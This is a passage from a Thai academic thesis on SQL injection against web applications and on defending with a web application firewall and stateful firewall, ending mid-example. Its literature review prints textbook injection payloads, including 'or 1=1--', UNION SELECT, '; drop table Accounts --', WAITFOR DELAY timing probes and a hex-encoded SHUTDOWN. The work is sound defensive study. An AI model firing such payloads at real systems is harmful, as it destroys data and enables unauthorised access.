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บทคัดย่อ 
 
 สารนิพนธ์นี้น าเสนอรูปแบบของการเจาะระบบเว็บแอพพลิเคชั่นด้วยเทคนิค SQL 
Injection ตลอดจนวิธีการหลบหลีกการตรวจจับและป้องกัน โดยเฉพาะอย่างยิ่ง SQL Injection ผ่าน 
HTTP Header ซึ่งเป็นเทคนิคหนึ่งที่ผู้บุกรุกสามารถใช้เป็นวิธีในการหลบหลีกการตรวจจับและ
ป้องกันของระบบที่ใช้ป้องกัน โดยสารนิพนธ์นี้จะใช้ Web Application Firewall (WAF) ท างาน
ร่วมกับ Stateful Firewall  เพื่อแก้ไขปัญหาดังกล่าว 
 จากผลการศึกษาพบว่า กรณีที่หนึ่งหากมีเพียง Stateful Firewall จะไม่สามารถป้องกัน
ได้เลย ต่อมาเป็นกรณีที่สองมี Web Application Firewall (WAF) ป้องกัน ก็จะสามารถป้องกัน
ระบบได้ในระดับปานกลาง ทั้งนี้นั้นขึ้นอยู่กับ Signature ที่มีและการปรับตั้งค่าพารามิเตอร์ของ
ระบบนั้นๆ กรณีที่สามนั้นจะใช้ Stateful Firewall และ Web Application Firewall (WAF) ท างาน
ร่วมกันโดยเมื่อมีการพยายามบุกรุกอย่างต่อเนื่องและ Web Application Firewall (WAF) สามารถ
ตรวจพบก็จะสั่งงานให้ Stateful Firewall ท างานในการป้องกันความพยายามในการบุกรุกแทน ซึ่ง
ท าให้การป้องกันระบบนั้นมีประสิทธิภาพสูงกว่าในกรณีที่หนึ่งและกรณีที่สอง 
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ABSTRACT 
 

 This study will be demonstrating a web application penetration using SQL Injection 
technique along with how to avoid and pass through detection. Focusing on the SQL Injection 
through HTTP Header, one of the most effective methods can get through the security defense 
system. This study will also disclose the way to prevent this form of attack using a cooperation of 
Web Application Firewall and Stateful Firewall. 
 The result of this study shows that mere Stateful Firewall is lack of power against this 
form of attack and sole Web Application Firewall can only done a moderate job defending this 
particular attack depending on the parameter and the signature database. But the combination of 
the two types of firewall working together will form a concrete defense against this kind of 
penetration technique.  
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บทที่ 1 
บทนํา 

 
1.1 ท่ีมาและความสําคัญของปญหา 
 ในปจจุบันการพัฒนาระบบท่ีใหบริการจํานวนมากผานเว็บแอพพลิเคช่ัน ซ่ึงนักพัฒนา
ระบบยังขาดความรู ความเขาใจในการพัฒนาใหระบบใหมีความปลอดภัย ตามมาตรฐานการพัฒนา
ท่ีหนวยงาน บริษัท องคกรตางๆ ยอมรับ เชน มาตรฐาน OWASP เวอรช่ัน ค.ศ. 2013 
 ซ่ึงทาง OWASP ไดจัดอันดับ TOP 10 โดยภัยคุกคามที่เกิดผลกระทบสูงสุดในสวนของ 
เว็บแอพพลิเคช่ัน พบวาภัยคุกคามในสวนของ A1-Injection นั้นเปนภัยคุกคามระดับสูงสุดทุกรอบ
การเปล่ียนแปลงท่ีทาง OWASP ทําการเก็บสถิติตามรายละเอียดดังนี้ 

 

 

 
ภาพท่ี 1.1 ผลกระทบท่ีเกดิกับเว็บแอพพลิเคช่ัน เปรียบเทียบ ค.ศ. 2010 และ ค.ศ. 2013 
 
 จากภาพท่ี 1.1 จะสังเกตไดวาการพัฒนาเว็บแอพพลิเคช่ันจะมีการถูกโจมตีจาก 
ผูไมประสงคดี ในสวนการ Injection เปนจํานวนมาก เพราะผูพัฒนายังขาดความรูความเขาใจใน
การปองกันภัยคุกคามในลักษณะนี้ ในงานวิจัยนี้จึงนําเร่ืองของภัยคุกคามในสวนของการทํา 
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Injection มาเปนปญหาสําคัญ เพื่อท่ีจะใหผูพัฒนาเกิดความเขาใจ และนําเครื่องมือท่ีมีมาใช
ตรวจสอบชองโหวรวมถึงการปองกัน เพื่อลดภัยคุกคามท่ีจะเกิดข้ึนตอระบบใหบริการได 

 
1.2 ปญหานําวิจัย 
 ระบบเว็บแอพพลิเคช่ันท่ีใชงานสวนใหญมีชองโหวในสวนขอ SQL Injection และตอง
ดําเนินการตรวจสอบ ลดผลกระทบท่ีจะเกิดข้ึนกับระบบเว็บแอพพลิเคช่ัน เพื่อใหระบบท่ีใหบริการ
มีความปลอดภัยตามมาตรฐาน OWASP 2013 ในสวนของ A1 Injection 
   
1.3 วัตถุประสงค 
 ขอบเขตของงานวิจัยนี้ มุงเนนการศึกษาการเจาะระบบเว็บแอพพลิเคช่ันโดยอาศัย 
ชองโหวแบบ SQL Injection เพื่อมองหาขอผิดพลาดตางๆ ท่ีนาจะเปนจุดออนของระบบรักษา 
ความปลอดภัยท่ีแตกตางกันไปตามสภาพแวดลอมท่ีไมเหมือนกัน เพื่อใหเห็นวาระบบรักษา 
ความปลอดภัยท่ีจําเปนในปจจุบันนั้น ควรมีการออกแบบระบบท่ีตองประกอบไปดวยอุปกรณ
รักษาความปลอดภัยใดบาง ในการตรวจจับและปองกันการเจาะระบบแอพพลิเคช่ันดวยชองโหว
แบบ  SQL Injection เพื่อเปนแนวทางในการออกแบบดานการรักษาความปลอดภัยระบบ
คอมพิวเตอรเครือขาย 
 
1.4 ขอบเขตของการวิจัย 
 1. ศึกษาขอมูลเกีย่วกับภยัคุกคามในสวนของ SQL Injection ตามมาตรฐาน OWASP 
 2. ติดต้ังระบบจําลองในสวนของระบบเว็บแอพพลิเคช่ัน 
 3. ตรวจสอบหาชองโหว  
 4. ศึกษาขอมูลเกีย่วกับการลดภยัคุกคาม SQL Injection ตามมาตรฐาน OWASP 
 5. ออกแบบระบบเว็บเซิรฟเวอรเพื่อปองกันการโจมตีเว็บแอพพลิเคช่ัน ในสวนภัยคุกคาม 
SQL Injection ตามมาตรฐาน OWASP 
 6. สรุปผลการดําเนินงาน และทําขอแนะนําในการพัฒนาระบบเว็บเซิรฟเวอรเพื่อปองกันใน
สวนภัยคุกคาม SQL Injection  
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1.5 ประโยชนท่ีคาดวาจะไดรับ 
 1. มีความรูและเขาใจถึงรูปแบบภัยคุกคามในสวนของ SQL Injection  
 2. สามารถใชเคร่ืองมือในการตรวจสอบหาชองโหว SQL Injection  
 3. สามารถทราบถึงวิธีการใชงานของเคร่ืองมือท่ีนํามาใชในการตรวจสอบหาชองโหว  
 4. สามารถทราบถึงระบบการปองกันการโจมตีเว็บแอพพลิเคช่ัน 
 5. สามารถทราบถึงแนวทางการออกแบบและเลือกติดต้ังใชงานระบบรักษาความปลอดภัย 
ท่ีใหระบบเว็บแอพพลิเคช่ัน นั้นลดความเส่ียงของการถูกโจมตีในลักษณะ SQL Injection  

 
1.6 แผนการดาํเนนิงาน 
 
ตารางท่ี 1.1  ระยะเวลาในการดําเนินงาน 

 

กิจกรรม 
ป พ.ศ. 2559 

มี.ค. เม.ย. พ.ค. มิ.ย. ก.ค. ส.ค. ก.ย. ต.ค. พ.ย. ธ.ค. 

1)  ศึกษาขอมูลเกี่ยวกับภัยคุกคาม 

ในสวนของ SQL Injection  

ตามมาตรฐาน OWASP 

          

2)  ติดต้ังระบบจําลองในสวน 

ของระบบเว็บแอพพลิเคช่ัน 
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ตารางท่ี 1.1 (ตอ)  
 

กิจกรรม 

ป พ.ศ. 2559 

มี.ค. เม.ย. 
พ.ค

. 
มิ.ย. ก.ค. ส.ค. ก.ย. ต.ค. พ.ย. ธ.ค. 

 

3)  ตรวจสอบหาชองโหว 

 

          

4)  ศึกษาขอมูลเกี่ยวกับการลดภัย

คุกคาม SQL Injection ตาม 

มาตรฐาน OWASP 

          

 

5)  ออกแบบระบบเว็บเซิรฟเวอร

เพื่อปองกันการโจมตี 

เว็บแอพพลิเคช่ัน ในสวน 

ภัยคุกคาม SQL Injection  

ตามมาตรฐาน OWASP 

          

6)  สรุปผลการดําเนินงาน และทํา

ขอแนะนําในการพัฒนาระบบ

เว็บเซิรฟเวอรเพ่ือปองกันใน

สวนภัยคุกคาม SQL Injection 
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บทที่ 2   
แนวคิด ทฤษฎี และผลงานวิจัยที่เกี่ยวของ 

 
2.1  การออกแบบระบบรักษาความปลอดภยัของเครือขาย Micro Segmentation 
 งานวิจัยของ Brandon Peterson [1] ไดกลาวไววาโดยบอยคร้ังท่ีเราไมสามารถตรวจพบ
แฮกเกอรท่ีเขา-ออกภายในระบบเพื่อหาขอมูลท่ีมีคุณคาแกการขโมยได สิทธิในทรัพยสินทาง
ปญญาและขอมูลสวนบุคคลทุกคนน้ันมีความเส่ียง เปนท่ียอมรับโดยท่ัวกันวาการโจมตีของ 
แฮกเกอรนั้นท่ีสุดก็สามารถเจาะเครือขายมากท่ีสุด 
 การออกแบบระบบเครือขายความปลอดภัยท่ีมุงเนนในเร่ืองของ micro segmentation 
นั้นสามารถชะลออัตราของผูโจมตีท่ีผานเขามาในระบบเครือขายและทําใหมีโอกาสมากข้ึนในการ
ตรวจจับการเคล่ือนไหวของผูโจมตีได องคกรท่ีรับออกแบบระบบเครือขายความปลอดภัย 
จะมองเห็นวาการเพ่ิมคาใชจายในเรื่องของ micro segmentation นั้นสามารถชดเชยในสวนของการ
ลดจํานวนและความถ่ีของเหตุการณลงได ในความเปนจริงนั้น การเรียนรูในการแบงกลุมเครือขาย
นั้น (Segmentation) สามารถเพ่ิมมูลคาและเสริมสรางความแข็งแรงใหแกองคกรไดดี 
 การแบงสวนของระบบเครือขาย (Network segmentation) สามารถชะลอการโจมตีของ
ผูโจมตีในขณะท่ีเขากําลังเจาะเขาระบบเครือขาย แตวิธีนี้วิธีเดียวไมสามารถหยุดผูโจมตีได มีการ
เผยแพรถึงคาเฉล่ียในปจจุบันวา หลังจากผูโจมตีไดเขามาอยูในระบบเครือขายนานกวาเจ็ดเดือนถึง
เร่ิมไดรับการตรวจสอบ นอกจากนี้สวนใหญในการคนพบคร้ังแรกก็มาจากหนวยงานภายนอกท่ี
ตรวจเจอใหกับบริษัทท่ีไดรับผลกระทบ (Mandiant 2014 Threat Report) ความสามารถ Penetrator 
นั้นจะสามารถตรวจสอบวา ports และ service อะไรท่ีมีการเปดและทํางานอยู วิธีการของเขา 
จะตรวจหาจนกวาเขาจะคนพบสิ่งท่ีมีคา เชน ขอมูลประจําตัว ขอมูลสวนบุคคล ทรัพยสินทาง
ปญญา หรืออ่ืนๆ ดังนั้นเร่ืองนี้จึงเปนส่ิงสําคัญท่ีจะตองทําความเขาใจเร่ือง traffic บนระบบ
เครือขายและการตรวจสอบส่ิงท่ีตางไปจากมาตรฐาน 
 ส่ิงท่ีเกี่ยวของ เชน ports, protocols และ application ในการดําเนินธุรกิจจะตองไดรับ
การบันทึก ส่ิงนี้จะทําใหสามารถตรวจสอบคาความผิดปกติหรือการ Rouge ท่ีผิดปกติไดในภาพท่ี 
2.1 การลดลงของ VNC traffic สําหรับแผนกท่ีใชเขา เว็บไซต แชรไฟล หรืออีเมลก็ควรไดรับการ
ตรวจสอบดวยเชนกัน 
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ภาพท่ี 2.1  รูปแบบ Compromised Network Segment 
 

 การควบคุมเครือขายใหแนนหนา จะบีบใหแฮกเกอรนั้นใชชองทางท่ีมีท่ีสามารถใชได
สําหรับผูท่ีไมเคยผานตา traffic ก็จะเปนอีกชองทางท่ีสามารถจะเขามาได เปนท่ีรูกันดีวาผูโจมตี
ฉลาดๆ ะหาทางเขาหาจากชองทางปกติเพื่อสง payloads ของพวกเขาเขาไป DNS เปนตัวอยางท่ีดี
ในการใหบริการที่แพรหลาย ท่ีสามารถใชเปนชองทางในการแอบแฝง โดยใชการเขารหัสใน
รูปแบบเชน base32 เปนชองทางแอบแฝงสามารถใชในการสงขอมูลแบบ binary ผาน DNS ไดการ
เขารหัสขอมูลจะถูกสงไปในรูปแบบของ DNS query เซิรฟเวอรท่ีช่ือ The authoritative ซ่ึงถูก
ควบคุมโดยแฮกเกอรนั้น จะสงขอมูลท่ีถูกฝงกลับไปภายใน DNS text record ส่ิงนี้เทากับ 150 bytes 
ของขอมูลท่ีไมมีกฏเกณฑ และจํานวนรวมที่มีขนาดใหญมากพอท่ีจะฝงอยูใน text record การใช
เทคนิคนี้ นักวิจัยสามารถท่ีจะทําการถายโอนขอมูลความเร็วสูงสุดท่ี 150KB/S (Faldella & Tucci) 
ไดสําเร็จ ในทางปฏิบัติการทําความเขาใจวาสวนใหญไมจําเปนตองเรียก text records หรือ queries 
บน host name ซํ้านั้นสามารถชวยใหกําหนดคาช่ือเซิรฟเวอรไดอยางปลอดภัยหรือจับการรองขอ
ดังกลาวท่ีขัดขวางเครือขายไดสําเร็จ 
 ดวยนโยบายท่ีไดรับการยอมรับและความเขาใจของเทคโนโลยีพื้นฐาน ผูดูแลระบบ
รักษาความปลอดภัยเครือขายสามารถเร่ิมท่ีจะนําไปใชควบคุมการตรวจสอบและส่ิงท่ีแตกตางไป
จากปกติได 
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2.2  การจัดประเภทของ SQL การโจมตีและวิธีการรับมือ 
 งานวิจัยของ William G.J. Halfond, Jeremy Viegas และ Alessandro Orso [2] ไดกลาว
ไววา โดยปกติแลว การฝงการโจมตีในรูปแบบ SQL (SQLIA) จะเกิดข้ึนเม่ือมีผูโจมตีเปล่ียนแปลง
ผลของ SQL query โดยการใส SQL keyword ใหม คํานิยามนี้มีวัตถุประสงคเพื่อรวมสายพันธุ
ท้ังหมดของ SQLIAs และนําเสนอในสารนิพนธนี้ จะกําหนดสองลักษณะท่ีสําคัญของ SQLIAs  
ท่ีใชสําหรับการอธิบายการโจมตี: กลไกและความตั้งใจในการโจมตี 
 2.2.1  กลไกในการฝง 
 สามารถนําคําส่ัง SQL ท่ีเปนอันตรายลงในแอพลิเคชันท่ีมีความเส่ียงตอการใชกลไก
ปอนขอมูลท่ีแตกตาง ในสวนนี้ จะอธิบายกลไกท่ีพบมากท่ีสุด 
 Injection through user input: ในกรณีนี้ผูโจมตีจะฝง SQL โดยใชคําส่ังโดยการใหผูใช
ปอนขอมูลท่ีสรางข้ึนอยางเหมาะสม โดย Web Application สามารถอาน user ไดในหลายวิธีข้ึนอยู
กับสภาพแวดลอมใน Application ท่ีถูกนําไปใชใน SQLIAs สวนใหญจะกําหนดเปาหมายการใช
งานของ web application ผูใชมักจะมาจากการสงแบบฟอรมท่ีสงไปยังเว็บผานทาง HTTP GET 
หรือ Post requests 
 Injection through cookies: คุกกี้เปนไฟลท่ีมีขอมูลท่ีถูกสรางข้ึนเพื่อการใชงานเว็บและ
เก็บไวบนเคร่ือง client  เม่ือเคร่ือง client สงกลับไปยัง web application คุกกี้สามารถนํามาใชในการ
เรียกคืนขอมูลสถานะของเคร่ือง client แทจริงแลวเคร่ือง client มีการควบคุมการจัดเก็บขอมูลของ
คุกกี้ เคร่ือง client นั้นมีความอันตรายหากจะเขาไปยุงเกี่ยวกับเนื้อหาของคุกกี้ ถา web application 
ใชเนื้อหาของคุกกี้เพื่อสราง SQL queries ผูโจมตีจะสามารถสงการโจมตีโดยฝงไวกับคุกกี้ไดอยาง
งายดาย 
 Injection through server variables: Server variables คือการเก็บรวบรวมของส่ิง ท่ี
ประกอบไปดวย HTTP, network headers และตัวแปรดานส่ิงแวดลอม การใชงานเว็บเซิรฟเวอรใช
ตัวแปรเหลานี้ในหลายวิธีเชนสถิติการใชงานเขาสูระบบและการระบุแนวโนมการเรียกดู หาก 
ตัวแปรเหลานี้ถูกบันทึกไวในฐานขอมูลโดยไมผานการตรวจสอบ ส่ิงนี้จะสามารถสรางชองโหวใน
การฝง SQL ลงไปได  เพราะผูโจมตีสามารถปลอมคาท่ีจะอยูใน HTTP และ network headers ได 
พวกเขาสามารถใชประโยชนจากชองโหวนี้โดยการวาง SQLIA โดยตรงในสวนของ headers 
 Second-order injection: ในการฝงแบบ second-order ผูโจมตีมีปจจัยการผลิตท่ีเปน
อันตรายมากในระบบฐานขอมูลหรือทางออมเรียกวา SQLIA เพื่อปอนขอมูลท่ีใชในเวลาตอมา  
วัตถุประสงคของการโจมตีชนิดนี้แตกตางอยางมีนัยสําคัญจากปกติ (เชน firstorder) การฝงแบบ  
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second-order เพื่อท่ีจะไมพยายามกอใหเกิดการโจมตีท่ีจะเกิดขึ้นเม่ือมีการปอนขอมูลท่ีเปนอันตราย
ถึงฐานขอมูล ผูโจมตีจะอาศัยความรูเกี่ยวกับการปอนขอมูลท่ีจะนํามาใชและฝมือการโจมตีของ
พวกเขาเพ่ือท่ีจะเกิดข้ึนในระหวางการใชงานเพ่ือช้ีแจงเราจะนําเสนอตัวอยางคลาสสิกของการ
โจมตีฝงแบบ second-order (นํามาจาก ) ในตัวอยางผูใชท่ีลงทะเบียนในเว็บไซตโดยใช username 
ในการ seed วา "admin" -- " application ท่ีถูกตองในการปอนขอมูลกอนนําไปเก็บในฐานขอมูล 
และปองกันผลกระทบท่ีอาจเปนอันตราย เม่ือมาถึงจุดนี้ user สามารถปรับเปล่ียนรหัสผานของเขา
หรือเธอในการดําเนินงานท่ีมักจะเกี่ยวของกับการตรวจสอบวาผูใชรูรหัสผานปจจุบันและการ
เปล่ียนรหัสผานถาตรวจสอบเสร็จเรียบรอยแลว 
 การทําเชนนี้ web application อาจสราง SQL คําส่ังดังตอไปนี้: 
 
queryString="UPDATE users SET password=’" + newPassword + 
"’ WHERE userName=’" + userName + "’ AND password=’" + 

oldPassword + "’" 
 

 NewPassword และ oldPassword เปนรหัสผานใหมและเกาตามลําดับและ username 
ของผูใชเพื่อเขาสูระบบในขณะน้ี (นั่นคือ ''admin '-' ') ดังนั้น query ท่ีถูกสงไปยังฐานขอมูล (สมมติ
วา NewPassword และ oldPas คือ "newpwd" และ "oldpwd"): 
 
UPDATE users SET password=’newpwd’ 

WHERE userName= ’admin’--’ AND password=’oldpwd’ 
 

 เพราะ "--" คือ the SQL comment operator ทุกอยางหลังจากท่ีมันถูกมองขามโดย
ฐานขอมูล ดังนั้นผลของ query นี้คือฐานขอมูลเปล่ียนรหัสผานของผูดูแลระบบ ("admin") เพื่อระบุ
ผูโจมตีการฝงแบบ second-order อาจเปนเร่ืองยากโดยเฉพาะอยางยิ่งในการตรวจสอบและปองกัน
ไมใหเพราะจุดท่ีฝงจะแตกตางจากจุดท่ีมีการโจมตีจริงปรากฏตัว นักพัฒนาอาจหลบหนีการ
ตรวจสอบชนิด และกรองขาเขาท่ีมาจากผูใชและถือวามันมีความปลอดภัย  ตอมาเม่ือขอมูลท่ีใชใน
บริบทท่ีแตกตางกันหรือการสรางชนิดท่ีแตกตางกันของ query การปอนขอมูลท่ีถูกตองกอนหนานี้
อาจจะสงผลในการโจมตีแบบฝง 
 2.2.2  เจตนาของการโจมตี 
 การโจมตียังมีลักษณะตามเปาหมายหรือความตั้งใจของผูโจมตี ดังนั้นแตละประเภท
ของคํานิยามของการโจมตีท่ีเราใหไวใน section 4 รวมถึงรายการหนึ่งหรือมากกวาในเจตนาโจมตีท่ี
กําหนดไวใน section นี้ 
 Identifying injectable parameters: ผูโจมตีตองการที่จะตรวจสอบ web application เพื่อ
คนพบพารามิเตอรและ user-input ใชการปอนขอมูลท่ีเส่ียงตอ SQLIA 
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 Performing database finger-printing: ผูโจมตีตองการท่ีจะคนพบชนิดและรุนของ
ฐานขอมูลท่ี web application มีการใชงานบางชนิดของฐานขอมูลจะแตกตางกันไปเพื่อตอบสนอง
ตอคําส่ังท่ีแตกตางกันและการโจมตีของขอมูลเหลานี้สามารถใช "ลายน้ิวมือ" ในฐานขอมูล เพื่อรู
ชนิดและรุนของฐานขอมูลท่ีใชโดย web application ชวยใหผูโจมตี โจมตีเฉพาะ craft database 
 Determining database schema: เพ่ือดึงขอมูลไดอยางถูกตองจากฐานขอมูล ผูโจมตี
มักจะตองทราบขอมูล database schema เชน ช่ือตาราง ช่ือคอลัมนและขอมูลคอลัมน การโจมตีดวย
ความต้ังใจนี้ถูกสรางข้ึนเพื่อเก็บรวบรวมหรือเพ่ือสรุปขอมูลชนิดนี้ 
 Extracting data: การโจมตีประเภทนี้ใชเทคนิคท่ีจะแยกคาขอมูลจากฐานขอมูลท้ังนี้
ข้ึนอยูกับประเภทของ web application ส่ิงนี้อาจจะมีความสําคัญและเปนท่ีนาพอใจอยางมาก
สําหรับผูโจมตีการโจมตีดวยความต้ังใจนี้เปนชนิดท่ีพบบอยท่ีสุดของ SQLIA 
 Adding or modifying data: เปาหมายของการโจมตีเหลานี้คือการเพ่ิมหรือเปล่ียนแปลง
ขอมูลในฐานขอมูล 
 Performing denial of service: การโจมตีเหลานี้จะดําเนินการปดฐานขอมูลของ web 
application เพ่ือปฏิเสธการใหบริการกับผูใชงานอ่ืนๆ การโจมตีท่ีเกี่ยวของกับการล็อคหรือการ 
วางฐานขอมูลตกอยูภายใตหมวดหมูนี้ 
 Evading detection: ประเภทนี้จะหมายถึงเทคนิคการโจมตีบางอยางท่ีมีการจางงานเพื่อ
หลีกเล่ียงการตรวจสอบและการตรวจพบโดยกลไกการปองกันระบบ 
 Bypassing authentication: เปาหมายของการโจมตีประเภทนี้คือการอนุญาตใหผูบุกรุก
ท่ีหลีกเล่ียงกลไลการตรวจสอบ database และ application ผานกลไกดังกลาวอาจทําใหผูบุกรุกถือ
วาสิทธิและสิทธิพิเศษท่ีเกี่ยวของกับผูใชโปรแกรมอ่ืน 
 Executing remote commands: การโจมตีประเภทนี้พยายามท่ีจะรันคําส่ังโดยพลการใน 
database คําส่ังเหลานี้จะถูกเก็บไวเปนอีกวิธีการหรือฟงกช่ันที่มีใหกับผูใชฐานขอมูล 
 Performing privilege escalation: การโจมตีเหลานี้ใชประโยชนจากขอผิดพลาดในการ
ดําเนินการหรือขอบกพรองในฐานขอมูลเพื่อเพิ่มสิทธิของผูบุกรุก เม่ือเทียบกับการโจมตีผานการ
ตรวจสอบ การโจมตีเหลานี้มุงเนนไปที่การใชประโยชนจากสิทธ์ิของผูใชฐานขอมูล 
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2.3  วิธี ท่ีงายและรวดเร็วสําหรับการตรวจจับและการปองกันของ  SQL Injection Attacks 
(SQLIAs) 
 งานวิจัยของ Z. Lashkaripour1 และ A. Ghaemi Bafghi1[3] ไดกลาวไววา SQLIAs มี
ชนิดท่ีแตกตางกัน ท่ีจะกําหนดใหข้ึนอยูกับและยังใหตัวอยางสําหรับแตละแบบในสวนนี้  
ในทุกตัวอยางในสวนนี้ไดใช query กับสามปจจัยการผลิตซ่ึงจะไดรับดังนี้: 
 
Query = "SELECT * FROM Accounts WHERE user=' " + username + " ' AND 
pass=' " + password + " ' AND eid=" + id ; 

 

 2.3.1  Tautology  
 การพูดซํ้าซากผูโจมตีจะพยายามท่ีจะใชขอมูลในคําส่ัง WHERE เพื่อฝงและเปดสภาพ
ลงสู “การพูดซํ้าซาก” ท่ีเปนจริงเสมอ รูปแบบท่ีงายของการพูดซํ้าซากจะไดรับในตัวอยางดานลาง 
ตัวอยาง: ผูโจมตีไดใส "or 1 = 1 -" ลงในชองผูใชและไมมีอะไรสําหรับ fields อ่ืนๆ ผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user=' ' or 1=1-- ' AND pass=' ' AND 
eid= 

 

 ผลท่ีไดจะเปนขอมูลท้ังหมดในตารางบัญชีเพราะเง่ือนไขของคําส่ัง WHERE เปนจริง
เสมอ 
 2.3.2  Illegal/Logically Incorrect 
 ในลักษณะของการโจมตีนี้ ผูโจมตีจะรวบรวมขอมูลสําคัญบางอยางเกี่ยวกับชนิดและ
โครงสรางของฐานขอมูล ขอมูลนี้เปนขอมูลท่ีไดรับจากหนาขอ error ท่ีไดกลับมาจาก default 
servers และสามารถนํามาใชสําหรับการโจมตีตอไป  
 ตัวอยาง: ผูโจมตีใส "convert (int (SELECT TOP 1 name FROM sysobjects WHERE 
xtype = 'U'))" เขาไปใน fields หลักและไมมีอะไรสําหรับ fields อ่ืนๆ ผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user=' ' AND pass=' ' AND 
eid=convert(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='u')) 

 

 ในตัวอยางนี้ผูโจมตีไดพยายามท่ีจะแปลงช่ือของตารางแรกท่ีผูใชกําหนดไวใน
ตารางขอมูลของฐานขอมูล 'int' ท่ีรูวาแปลงชนิดนี้ไมไดตามกฎหมายดังนั้นผลที่ไดคือ มี error 
แสดงใหเห็นขอมูลบางอยางท่ีไมควรจะแสดงใหเห็น 
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 2.3.3  Union 
 เทาท่ีจะสามารถสรุปจากช่ือ ผลของการโจมตีคือขอมูลบางสวนจากฐานขอมูลซ่ึงเปน 
Union ของ query หลักและถูกฝงรวมกัน ดังนั้นในประเภทของการโจมตีนี้ขอมูลจะกลับมาจาก 
query ท่ีมีการเปล่ียนแปลงแลว 
 ตัวอยาง: ผูโจมตีใส " UNION SELECT * FROM Students --” ลงในชองผูใชและไมมี
อะไรสําหรับ fields อื่นๆ เพื่อผลท่ีไดคือดังนี้: 
 
SELECT * FROM Accounts WHERE user=' ' UNION SELECT * FROM Students --
' AND pass=' ' AND eid= 

 

 ผลของ query แรกในตัวอยางขางตนถือเปนโมฆะและคนท่ีสองไดสงกลับขอมูล
ท้ังหมดใน Students table เพื่อให Union ของท้ังสองคําส่ังเปน Students table 
 2.3.4  Piggy Backed  
 Piggy Backed ผูโจมตีมีความพยายามท่ีจะฝงแบบสอบถามพิเศษเพื่อใหแบบสอบถาม
หลักท่ีถูกฝงแลวจะไดทําการดําเนินการตอ 
 ตัวอยาง: ผูโจมตีใส “'; drop table Accounts --” ลงในชองผูใชและไมมีอะไรสําหรับ
สอง fields ท่ีเหลือเพ่ือใหผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user=' '; drop table Accounts -- ' AND 
pass=' ' AND eid= 

  

 ผลจากตัวอยางขางตนคือการสูญเสียขอมูลประจําตัวของตารางบัญชีเพราะมันจะลดลง 
 2.3.5  Blind Injection  
 โดยสรุปจากชื่อ Blind Injection ผูโจมตีนั้นมองไมเห็น ดังนั้นจึงพยายามท่ีจะโจมตี 
web application โดยถามคําถามหาความจริง  หรือ  เท็จ  จึงข้ึนอยูกับการตอบกลับของ  web 
application ท่ีจะไดรับขอมูลเกี่ยวกับฐานขอมูลแมวาขอความจะไมมีขอผิดพลาดแสดงใหเห็นก็ตาม 
 ตัวอยาง: ผูโจมตีใส “user1' AND 1=1 --” ลงในชองผูใชและไมมีอะไรสําหรับสวน 
ท่ีเหลือของพวกเขาเพ่ือผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user='user1' AND 1=1-- ' AND pass=' 
'AND eid= 

 

 สวนท่ีถูกฝงคือการประเมินผลเสมอ  ท่ีจะเปนจริงดังนั้นหากไมมีขอความ error ผูโจมตี
ท่ีจะเขาสูระบบเพื่อโจมตีตองตระหนักวาการโจมตีไดผาน user parameter ไหมจึงจะมีความเส่ียงท่ี
จะฝงได 
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 2.3.6  Timing Attacks 
 ระยะเวลาในการโจมตี  ผูบุกรุกจะไดรับขอมูลข้ึนอยูกับความลาชาของการตอบสนอง
ของฐานขอมูล 
 ตั วอย า ง :  ผู โ จม ตี ใส  “user1' AND ASCII(SUBSTRING((SELECT TOP 1 name 
FROM sysobjects),1,1)) > X WAITFOR DELAY '000:00:07' --” ลงในชองผูใชและไมมีอะไร
สําหรับ field อ่ืนๆ ดังนั้นผลที่ไดคือ: 
 
SELECT * FROM Accounts WHERE user='user1' AND ASCII(SUBSTRING((SELECT 
TOP 1 name FROM sysobjects),1,1)) > X WAITFOR DELAY '000:00:07' -- ' 
AND pass=' ' AND eid= 

 

 ในตัวอยางขางตนผูโจมตีจะพยายามท่ีจะหาตัวอักษรตัวแรกของตารางเปนอันดับแรก
โดยการเปรียบเทียบคา ASCII กับ X หากมีความลาชา 7 วินาที เขาจะตระหนักดีวาคําตอบท่ีใหกับ
คําถามของเขาคือใช  ดังนั้นเพื่อความตอเนื่อง กระบวนการ process ช่ือ ของตารางแรกจะไดรับการ
คนพบเปนอันดับแรก (คลายกับการโจมตี ผูโจมตีจะสามารถขอรับขอมูลอ่ืนๆ เกี่ยวกับฐานขอมูล
ได) 
 2.3.7 Alternate Encoding 
 ในประเภทน้ีขอความท่ีถูกฝงจะมีการเปล่ียนแปลงในคําส่ังท่ีจะหลบเล่ียงการ
ตรวจสอบโดยการเขียนโปรแกรมการปองกันและสวนใหญของเทคนิคการปองกันโดยอัตโนมัติ 
การเขารหัสเชนเลขฐานสิบหก ASCII และการเขารหัสอักขระ Unicode สามารถใชเปนเง่ือนไขใน
การโจมตี 
 ตัวอยาง: ผูโจมตีใส “user1'; exec(char(0x73687574646f776e)) --” ลงในชองผูใชและ
ไมมีอะไรสําหรับสวนท่ีเหลือเพ่ือใหผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user='user1'; 
exec(char(0x73687574646f776e)) -- ' AND pass=' ' AND eid= 

 

 ในตัวอยางขางตน () ฟงกช่ันและการเขารหัสเลขฐานสิบหก ASCII จะใชฟงกช่ันท่ี
ไดรับเลขจํานวนเต็มเปนพารามิเตอรและสงกลับมาเปนตัวอยางของ character วาในตัวอยางนี้
ฟงกช่ันจะกลับมา "SHUTDOWN" ดังนั้นเม่ือแบบสอบถามตีความ คําส่ัง SHUTDOWN จะถูก
ดําเนินการ 
 2.3.8  Stored Procedure 

 ประเภทของ SQLI นี้มีวิธีดําเนินการ วิธีการจัดเก็บท่ีมีอยูในฐานขอมูลตนแบบ 
ฐานขอมูลจํานวนมากไดถูกสรางข้ึนในข้ันตอนการเก็บนอกเหนือจากการท่ีผูใชกําหนดวิธีการ
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จัดเก็บเอง ท่ีจะสรางข้ึนในข้ันตอนการเก็บจะใชสําหรับการขยายการทํางานของฐานขอมูลและการ
โตตอบกับระบบปฏิบัติการ ดังนั้นเม่ือผูโจมตีมีการระบุฐานขอมูลตนแบบท่ีเขาพยายามที่จะ
ดําเนินการเหลานี้ ถูกสรางข้ึนในข้ันตอนการจัดเก็บไวเพื่อใชประโยชนจากขอมูล 
 ตัวอยาง: ผูโจมตีใส “'; exec xp_logininfo 'BUILTIN\Administrators'; --” ลงในชอง
ผูใชและไมมีอะไรสําหรับการสงผาน: 
 
